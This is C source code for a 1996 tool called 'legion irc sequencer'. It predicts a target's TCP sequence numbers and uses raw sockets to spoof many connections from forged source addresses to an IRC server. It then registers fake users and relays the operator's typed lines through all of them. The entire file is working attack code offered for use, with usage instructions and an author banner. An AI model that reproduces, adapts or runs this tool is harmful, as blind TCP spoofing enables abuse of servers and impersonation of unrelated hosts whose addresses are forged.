/* * legion - legion irc sequencer (1.0) * coded by asmodean * * usage: * ts [offset] * * dest = the system we're spoofing onto * dest port = the destination port.. (duh?) * num con = how many connections to spoof * offset = the offset to use, 0 = attempt to determine it (default) */ #ifndef lint static char idstr[] = "$Id:legion.c,v 1.0 1996/04/29 02:11:45 asmodean Exp $"; #endif #include #include #include #include #include #include #include #include #include #include /* from ping.c */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } void randset(char *buf, unsigned short len) { char *junk = "abcdefghijklmnopqrstuvwxyz"; unsigned short i; for (i = 0; i < len; i++) { srand(time(NULL) + (rand() % 232756623)); buf[i] = junk[rand() % strlen(junk)]; } } void abort() { printf("aborted!\n"); exit(-1); } void recvtcp(s, buf, len) int s; char *buf; int len; { if (recvfrom(s, buf, len, 0, 0, 0) == -1) { perror("recvfrom"); exit(1); } } void sendtcp(s, src, sport, dest, dport, addr, seq, ack, flags, data) int s; unsigned long src; unsigned short sport; unsigned long dest; unsigned short dport; struct sockaddr_in *addr; unsigned long seq; unsigned long ack; unsigned char flags; char *data; { static char *packet, *junk; struct iphdr *ip; struct tcphdr *tcp; packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data)); junk = (char *) malloc(12 + sizeof(struct tcphdr) + strlen(data)); ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data)); ip->saddr = src; ip->daddr = dest; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->id = getpid(); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data)); ip->check = in_cksum(ip, sizeof(struct iphdr)); tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = htonl(seq); tcp->th_ack = htonl(ack); tcp->th_off = sizeof(struct tcphdr)/4; tcp->th_flags = flags; tcp->th_win = htons(10052); memcpy(packet + sizeof(struct iphdr) + sizeof(struct tcphdr), data, strlen(data)); memset(junk, 0, 12 + sizeof(struct tcphdr) + strlen(data)); *((unsigned long *) junk) = ip->saddr; *((unsigned long *) (junk + 4)) = ip->daddr; *((unsigned char *) (junk + 9)) = ip->protocol; *((unsigned short *) (junk + 10)) = htons(sizeof(struct tcphdr) + strlen(data)); *((struct tcphdr *) (junk + 12)) = *tcp; memcpy(junk + 12 + sizeof(struct tcphdr), data, strlen(data)); tcp->th_sum = in_cksum(junk, 12 + sizeof(struct tcphdr) + strlen(data)); if (sendto(s, packet, sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data), 0, (struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) { perror("sendto"); exit(1); } } struct client_con { unsigned long seq; unsigned long ack; unsigned long host; char user[9]; char nick[9]; }; void legion(s, r, thisbox, dest, dport, addr, num_connects, known_offset) int s; int r; unsigned long thisbox; unsigned long dest; unsigned short dport; struct sockaddr_in addr; unsigned long known_offset; { unsigned long seq = 431337, valid_seq, new_seq, old_seq = 0, offset = 0; unsigned short seq_sport = 600, sport = 1024 + (random() % 31337), i; struct hostent *host; struct client_con *clients; char *packet, string[512]; struct iphdr *ip; struct tcphdr *tcp; packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); clients = (struct client_con *) malloc(num_connects * sizeof(struct client_con)); ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); for (i = 0; i < num_connects; i++) { randset(clients[i].user, 9); randset(clients[i].nick, 9); clients[i].host = rand(); clients[i].seq = 408618 + (i % rand()); } if (!known_offset) { printf("# Attempting to predict TCP sequence..."); }else{ printf("# Getting a sample of the current tcp sequence..."); } fflush(stdout); for (valid_seq = 0; !valid_seq; seq_sport++, seq++) { sendtcp(s, thisbox, seq_sport, dest, dport, &addr, seq, 0, TH_SYN, ""); for (;;) { recvtcp(r, packet, sizeof(struct iphdr) + sizeof(struct tcphdr)); if (ip->saddr != dest) { continue; } if (ntohs(tcp->th_dport) == seq_sport && ntohs(tcp->th_sport) == dport) { new_seq = htonl(tcp->th_seq); if (new_seq - old_seq == offset) { valid_seq++; }else{ offset = new_seq - old_seq; } old_seq = new_seq; if (known_offset) { offset = known_offset; valid_seq++; } break; } } printf("."); fflush(stdout); } printf("done! (offset - %lu)\n", offset); printf("# Spoofing %d connections...\n", num_connects); for (i = 0; i < num_connects; i++) { clients[i].ack = old_seq + (offset * (i + 1)) + 1; sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq++, 0, TH_SYN, ""); } usleep(10000); for (i = 0; i < num_connects; i++) { sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, clients[i].ack, TH_ACK, ""); } usleep(5000); for (i = 0; i < num_connects; i++) { memset(string, 0, 512); sprintf(string, "USER %s . . :\002fear legion\002\r\nNICK %s\r\n", clients[i].user, clients[i].nick); sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, clients[i].ack, TH_ACK|TH_PUSH, string); clients[i].seq += strlen(string); } while (1) { memset(string, 0, 512); printf("# input> "); fflush(stdout); fgets(string, 512, stdin); for (i = 0; i < num_connects; i++) { sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, clients[i].ack, TH_ACK|TH_PUSH, string); clients[i].seq += strlen(string); } } } main(argc, argv) int argc; char *argv[]; { static int s = 0, r = 0; unsigned short num_connects; unsigned long dest, thisbox, offset = 0; struct hostent *host; struct sockaddr_in addr; char buf[128]; if (argc < 4 || argc > 6) { printf("# legion irc sequencer (1.0)\n"); printf("# coded by asmodean (through knowledge, power)\n"); printf("usage: %s [offset]\n", argv[0]); exit(-1); } num_connects = atoi(argv[3]); if (argc > 4) { offset = atoi(argv[4]); } gethostname(buf, 128); host = gethostbyname(buf); if (host == NULL) { printf("Can't get this machine's hostname\n"); exit(1); } memcpy(&thisbox, host->h_addr, 4); memset(&addr, 0, sizeof(struct sockaddr_in)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[1]); if (addr.sin_addr.s_addr == -1) { host = gethostbyname(argv[1]); if (host == NULL) { printf("Unknown host %s.\n", argv[1]); exit(1); } addr.sin_family = host->h_addrtype; memcpy((caddr_t) &addr.sin_addr, host->h_addr, host->h_length); printf("# Target is %s (%s)\n", inet_ntoa(addr.sin_addr.s_addr), argv[1]); }else{ printf("# Target is %s\n", argv[1]); } memcpy(&dest, (char *)&addr.sin_addr.s_addr, 4); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) { perror("Getting raw send socket"); exit(-1); } r = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (r == -1) { perror("Getting raw recv socket"); exit(-1); } signal(SIGINT, abort); legion(s, r, thisbox, dest, atoi(argv[2]), addr, num_connects, offset); }